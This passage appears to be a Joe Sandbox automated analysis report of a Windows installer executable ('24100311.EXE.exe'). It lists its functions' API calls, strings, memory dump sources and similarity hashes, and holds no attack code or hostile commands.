GlobalFree.KERNEL32(00000000), ref: 004062F0
CloseHandle.KERNEL32(00000000,?,?,?,?), ref: 004062F7

Part of subcall function 00406032: GetFileAttributesW.KERNELBASE(00000003,004030AB,00438800,80000000,00000003), ref: 00406036
Part of subcall function 00406032: CreateFileW.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000), ref: 00406058

Strings

uB, xrefs: 004061E5
%ls=%ls, xrefs: 004061FD
[Rename], xrefs: 00406271, 00406283
mB, xrefs: 004061B1
uB, xrefs: 004061DE

Memory Dump Source

Source File: 00000000.00000002.1676796300.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1676770960.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676818375.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677056612.0000000000454000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677056612.0000000000459000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677056612.0000000000494000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677056612.00000000004A6000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_24100311.jbxd

Similarity

API ID: File$CloseGlobalHandleNamePathShortlstrlen$AllocAttributesCreateFreePointerSizelstrcpywsprintf
String ID: %ls=%ls$[Rename]$mB$uB$uB
API String ID: 2171350718-2295842750
Opcode ID: 59dc5e07b5800aef10481498d58bb421d24f26611c27dcb93450ce5172178df9
Instruction ID: 390cd084817c4cf50855a9647c10840f2cfe6cacc919d204b2e4a530669b52c0
Opcode Fuzzy Hash: 59dc5e07b5800aef10481498d58bb421d24f26611c27dcb93450ce5172178df9
Instruction Fuzzy Hash: FB312231200715BBC2207B659E49F5B3A9CEF41754F16007FBA42F62C2EA3CD82586BD

Function 00401000 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 125COMMON

Download Yara Rule

APIs

DefWindowProcW.USER32(?,00000046,?,?), ref: 0040102C
BeginPaint.USER32(?,?), ref: 00401047
GetClientRect.USER32(?,?), ref: 0040105B
CreateBrushIndirect.GDI32(00000000), ref: 004010CF
FillRect.USER32(00000000,?,00000000), ref: 004010E4
DeleteObject.GDI32(?), ref: 004010ED
CreateFontIndirectW.GDI32(?), ref: 00401105
SetBkMode.GDI32(00000000,00000001), ref: 00401126
SetTextColor.GDI32(00000000,000000FF), ref: 00401130
SelectObject.GDI32(00000000,?), ref: 00401140
DrawTextW.USER32(00000000,00429260,000000FF,00000010,00000820), ref: 00401156
SelectObject.GDI32(00000000,00000000), ref: 00401160
DeleteObject.GDI32(?), ref: 00401165
EndPaint.USER32(?,?), ref: 0040116E

Strings

F, xrefs: 0040100C

Memory Dump Source

Source File: 00000000.00000002.1676796300.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1676770960.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676818375.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677056612.0000000000454000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677056612.0000000000459000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677056612.0000000000494000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677056612.00000000004A6000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_24100311.jbxd

Similarity

API ID: Object$CreateDeleteIndirectPaintRectSelectText$BeginBrushClientColorDrawFillFontModeProcWindow
String ID: F
API String ID: 941294808-1304234792
Opcode ID: dccf31a386450978f6a467bb1a2dd48e69ee6b81a70d351153b8e89f54c6a922
Instruction ID: 0f43a076eda42f240989ba3bcaaa7122e90b548761b3bfdbbaf4c3cca9648f62
Opcode Fuzzy Hash: dccf31a386450978f6a467bb1a2dd48e69ee6b81a70d351153b8e89f54c6a922
Instruction Fuzzy Hash: CF418B71800209EFCF058FA5DE459AF7BB9FF45315F00802AF991AA2A0C7389A55DFA4

Function 004067EB Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 69COMMON

Download Yara Rule

APIs

CharNextW.USER32(?,*?|<>/":,00000000,00000000,74DF3420,C:\Users\user\AppData\Local\Temp\,"C:\Users\user\Desktop\24100311.EXE.exe",004035B3,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00403822,?,00000007,00000009,0000000B), ref: 0040684E
CharNextW.USER32(?,?,?,00000000,?,00000007,00000009,0000000B), ref: 0040685D
CharNextW.USER32(?,00000000,74DF3420,C:\Users\user\AppData\Local\Temp\,"C:\Users\user\Desktop\24100311.EXE.exe",004035B3,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00403822,?,00000007,00000009,0000000B), ref: 00406862
CharPrevW.USER32(?,?,74DF3420,C:\Users\user\AppData\Local\Temp\,"C:\Users\user\Desktop\24100311.EXE.exe",004035B3,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00403822,?,00000007,00000009,0000000B), ref: 00406875

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 004067EC
"C:\Users\user\Desktop\24100311.EXE.exe", xrefs: 004067EB
*?|<>/":, xrefs: 0040683D

Memory Dump Source

Source File: 00000000.00000002.1676796300.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1676770960.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676818375.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677056612.0000000000454000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677056612.0000000000459000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677056612.0000000000494000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677056612.00000000004A6000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_24100311.jbxd

Similarity

API ID: Char$Next$Prev
String ID: "C:\Users\user\Desktop\24100311.EXE.exe"$*?|<>/":$C:\Users\user\AppData\Local\Temp\
API String ID: 589700163-435205726
Opcode ID: ad42b7741e5e7cf852433a5ca926bf711007504176ebaeb0857ba18f273580f2
Instruction ID: fdbe35b52bffc5d77a346742aeba0a27372f18d7f8de2c65e324d6b3b11dfc69
Opcode Fuzzy Hash: ad42b7741e5e7cf852433a5ca926bf711007504176ebaeb0857ba18f273580f2
Instruction Fuzzy Hash: 8211932780261255DB303B559C44AB762E8AF94790B56C83FED8A732C0EB7C4C9286BD

Function 004044F9 Relevance: 12.1, APIs: 8, Instructions: 68COMMON

Download Yara Rule

APIs

GetWindowLongW.USER32(?,000000EB), ref: 00404516
GetSysColor.USER32(00000000), ref: 00404554
SetTextColor.GDI32(?,00000000), ref: 00404560
SetBkMode.GDI32(?,?), ref: 0040456C
GetSysColor.USER32(?), ref: 0040457F
SetBkColor.GDI32(?,?), ref: 0040458F
DeleteObject.GDI32(?), ref: 004045A9
CreateBrushIndirect.GDI32(?), ref: 004045B3

Memory Dump Source

Source File: 00000000.00000002.1676796300.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1676770960.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676818375.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677056612.0000000000454000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677056612.0000000000459000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677056612.0000000000494000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677056612.00000000004A6000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_24100311.jbxd

Similarity

API ID: Color$BrushCreateDeleteIndirectLongModeObjectTextWindow
String ID:
API String ID: 2320649405-0
Opcode ID: 288dbcc7c85f11a55b3e08142a2a7aff64d3670202badf385cb57de10b60d8c1
Instruction ID: b56a63bd10d9b88d704488fa4fc448251793e5de010e462820c933ca6d0d38e3
Opcode Fuzzy Hash: 288dbcc7c85f11a55b3e08142a2a7aff64d3670202badf385cb57de10b60d8c1
Instruction Fuzzy Hash: F52167B1500B04AFCB31DF68DD48A577BF8AF41714B048A2EEA96A26E1D734D904CF58

Function 004026E4 Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 153fileCOMMON

Download Yara Rule

APIs

ReadFile.KERNEL32(?,?,?,?), ref: 00402750
MultiByteToWideChar.KERNEL32(?,00000008,?,?,?,00000001), ref: 0040278B
SetFilePointer.KERNEL32(?,?,?,00000001,?,00000008,?,?,?,00000001), ref: 004027AE
MultiByteToWideChar.KERNEL32(?,00000008,?,00000000,?,00000001,?,00000001,?,00000008,?,?,?,00000001), ref: 004027C4

Part of subcall function 00406113: SetFilePointer.KERNEL32(?,00000000,00000000,00000001), ref: 00406129

SetFilePointer.KERNEL32(?,?,?,00000001,?,?,00000002), ref: 00402870

Strings

9, xrefs: 00402733

Memory Dump Source

Source File: 00000000.00000002.1676796300.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1676770960.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676818375.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677056612.0000000000454000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677056612.0000000000459000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677056612.0000000000494000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677056612.00000000004A6000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_24100311.jbxd

Similarity

API ID: File$Pointer$ByteCharMultiWide$Read
String ID: 9
API String ID: 163830602-2366072709
Opcode ID: ab939e13b422882215719eb4d85b304d36e2795fa3dbfbe2acce84fdb36a63bb
Instruction ID: 9e8848406421114bacb3fc7d7daa07285f06221c2759d1c737873bd090f70c65
Opcode Fuzzy Hash: ab939e13b422882215719eb4d85b304d36e2795fa3dbfbe2acce84fdb36a63bb
Instruction Fuzzy Hash: 5951F975D00219ABDF20DF95CA89AAEBB79FF04304F10817BE501B62D0E7B49D82CB58

Function 00402FC6 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 51COMMON

Download Yara Rule

APIs

DestroyWindow.USER32(00000000,00000000), ref: 00402FE1
GetTickCount.KERNEL32 ref: 00402FFF
wsprintfW.USER32 ref: 0040302D

Part of subcall function 004055A4: lstrlenW.KERNEL32(Crenature,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00403040,00000000,?), ref: 004055DC
Part of subcall function 004055A4: lstrlenW.KERNEL32(00403040,Crenature,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00403040,00000000), ref: 004055EC
Part of subcall function 004055A4: lstrcatW.KERNEL32(Crenature,00403040,00403040,Crenature,00000000,00000000,00000000), ref: 004055FF
Part of subcall function 004055A4: SetWindowTextW.USER32(Crenature,Crenature), ref: 00405611
Part of subcall function 004055A4: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405637
Part of subcall function 004055A4: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 00405651
Part of subcall function 004055A4: SendMessageW.USER32(?,00001013,?,00000000), ref: 0040565F

CreateDialogParamW.USER32(0000006F,00000000,00402F2B,00000000), ref: 00403051
ShowWindow.USER32(00000000,00000005), ref: 0040305F

Part of subcall function 00402FAA: MulDiv.KERNEL32(000605C3,00000064,00063873), ref: 00402FBF

Strings

... %d%%, xrefs: 00403027

Memory Dump Source

Source File: 00000000.00000002.1676796300.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1676770960.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676818375.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677056612.0000000000454000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677056612.0000000000459000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677056612.0000000000494000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677056612.00000000004A6000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_24100311.jbxd

Similarity

API ID: MessageSendWindow$lstrlen$CountCreateDestroyDialogParamShowTextTicklstrcatwsprintf
String ID: ... %d%%
API String ID: 722711167-2449383134
Opcode ID: b05c67c46c87e700010054eae8e6e792e551e7c7e0ae3dcdbe65f70a63b6779b
Instruction ID: a5f4734244b8f6f028ba4000c5489b7d2f6cf4b1dd98660c68856af7419d999b
Opcode Fuzzy Hash: b05c67c46c87e700010054eae8e6e792e551e7c7e0ae3dcdbe65f70a63b6779b
Instruction Fuzzy Hash: 1D010470506211EBCB216F64EE0CEAA7B7CAB00B01B10047BF841F11E9DABC4545DB9E

Function 00404E4D Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,0000110A,00000009,00000000), ref: 00404E68
GetMessagePos.USER32 ref: 00404E70
ScreenToClient.USER32(?,?), ref: 00404E8A
SendMessageW.USER32(?,00001111,00000000,?), ref: 00404E9C
SendMessageW.USER32(?,0000113E,00000000,?), ref: 00404EC2

Strings

f, xrefs: 00404E9E

Memory Dump Source

Source File: 00000000.00000002.1676796300.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1676770960.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676818375.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677056612.0000000000454000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677056612.0000000000459000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677056612.0000000000494000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677056612.00000000004A6000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_24100311.jbxd

Similarity

API ID: Message$Send$ClientScreen
String ID: f
API String ID: 41195575-1993550816
Opcode ID: b2affdf3b53bee8738e3b61904ea6c87bda347b462d3853a737802ef9deed65a
Instruction ID: 8ba846b23e886e731abba7044b613a2dc07349659d22c8c6246ceab34d3a3da9
Opcode Fuzzy Hash: b2affdf3b53bee8738e3b61904ea6c87bda347b462d3853a737802ef9deed65a
Instruction Fuzzy Hash: C0015E7190021DBADB00DBA4DD85FFEBBBCAF54711F10012BBB50B61C0D7B8AA058BA5

Function 00401E4E Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 43COMMON

Download Yara Rule

APIs

GetDC.USER32(?), ref: 00401E51
GetDeviceCaps.GDI32(00000000,0000005A), ref: 00401E6B
MulDiv.KERNEL32(00000000,00000000), ref: 00401E73
ReleaseDC.USER32(?,00000000), ref: 00401E84
CreateFontIndirectW.GDI32(0040CDF8), ref: 00401ED3

Strings

Calibri, xrefs: 00401EB9

Memory Dump Source

Source File: 00000000.00000002.1676796300.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1676770960.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676818375.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677056612.0000000000454000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677056612.0000000000459000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677056612.0000000000494000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677056612.00000000004A6000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_24100311.jbxd

Similarity

API ID: CapsCreateDeviceFontIndirectRelease
String ID: Calibri
API String ID: 3808545654-1409258342
Opcode ID: 384baed0899809c381ca3df955ec9033b844118511c6fdbdf6c0601521adad6e
Instruction ID: a76e2873b7558907f835798c96529171b27b16ad4d601dd46fbfe91b59f2db27
Opcode Fuzzy Hash: 384baed0899809c381ca3df955ec9033b844118511c6fdbdf6c0601521adad6e
Instruction Fuzzy Hash: F101D871900250EFEB005BB4EE89B9A3FB0AF15300F24893EF141B71E2C6B904459BED

Function 00405A73 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 39COMMON

Download Yara Rule

APIs

CreateDirectoryW.KERNEL32(?,?,C:\Users\user\AppData\Local\Temp\), ref: 00405AB6
GetLastError.KERNEL32 ref: 00405ACA
SetFileSecurityW.ADVAPI32(?,80000007,00000001), ref: 00405ADF
GetLastError.KERNEL32 ref: 00405AE9

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 00405A99
C:\Users\user\Desktop, xrefs: 00405A73

Memory Dump Source

Source File: 00000000.00000002.1676796300.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1676770960.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676818375.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677056612.0000000000454000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677056612.0000000000459000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677056612.0000000000494000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677056612.00000000004A6000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_24100311.jbxd

Similarity

API ID: ErrorLast$CreateDirectoryFileSecurity
String ID: C:\Users\user\AppData\Local\Temp\$C:\Users\user\Desktop
API String ID: 3449924974-2028306314
Opcode ID: 4d8c721838b8a92ea27708fe49d100345a2f80ebd1be40878b53e15a1b169c58
Instruction ID: 182fb86997ef6356dfbf0076fac1484c8d0c28c6014f2d3d8060d55cd567293f
Opcode Fuzzy Hash: 4d8c721838b8a92ea27708fe49d100345a2f80ebd1be40878b53e15a1b169c58
Instruction Fuzzy Hash: 30010871D00619EADF019BA0C988BEFBFB8EF04315F00813AD545B6280D7789648CFA9

Function 00402F2B Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 36timeCOMMON

Download Yara Rule

APIs

SetTimer.USER32(?,00000001,000000FA,00000000), ref: 00402F49
wsprintfW.USER32 ref: 00402F7D
SetWindowTextW.USER32(?,?), ref: 00402F8D
SetDlgItemTextW.USER32(?,00000406,?), ref: 00402F9F

Strings

unpacking data: %d%%, xrefs: 00402F6B
verifying installer: %d%%, xrefs: 00402F72, 00402F7B

Memory Dump Source

Source File: 00000000.00000002.1676796300.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1676770960.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676818375.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676832252.0000000000451000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677056612.0000000000454000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677056612.0000000000459000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677056612.0000000000494000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1677056612.00000000004A6000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_24100311.jbxd

Similarity

API ID: Text$ItemTimerWindowwsprintf
String ID: unpacking data: %d%%$verifying installer: %d%%
API String ID: 1451636040-1158693248
Opcode ID: 3624e717fbcf7ea6fd8cb3bfca044f62ca72f15282bbc00cb62a71a2cd90e3ed
Instruction ID: 618675c633d4cc4fa353176bd059bfe03840d53555a4d718e50652829a5d94b1
Opcode Fuzzy Hash: 3624e717fbcf7ea6fd8cb3bfca044f62ca72f15282bbc00cb62a71a2cd90e3ed
Instruction Fuzzy Hash: 4CF01D7050020EABDF206F60DE4ABEA3B78EB00349F00803AFA15A51D0DBBD9559DB59

Function 00402947 Relevance: 9.1, APIs: 6, Instructions: 86memoryfileCOMMON

Download Yara Rule

APIs

GlobalAlloc.KERNEL32(00000040,?,00000000,40000000,00000002,00000000,00000000), ref: 0040299B
GlobalAlloc.KERNEL32(00000040,?,00000000,?), ref: 004029B7
GlobalFree.KERNEL32(?), ref: 004029F0
GlobalFree.KERNEL32(00000000), ref: 00402A03
CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,000000F0), ref: 00402A1B
DeleteFileW.KERNEL32(?,00000000,40000000,00000002,00000000,00000000), ref: 00402A2F

Memory Dump Source

Source File: 00000000.00000002.1676796300.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

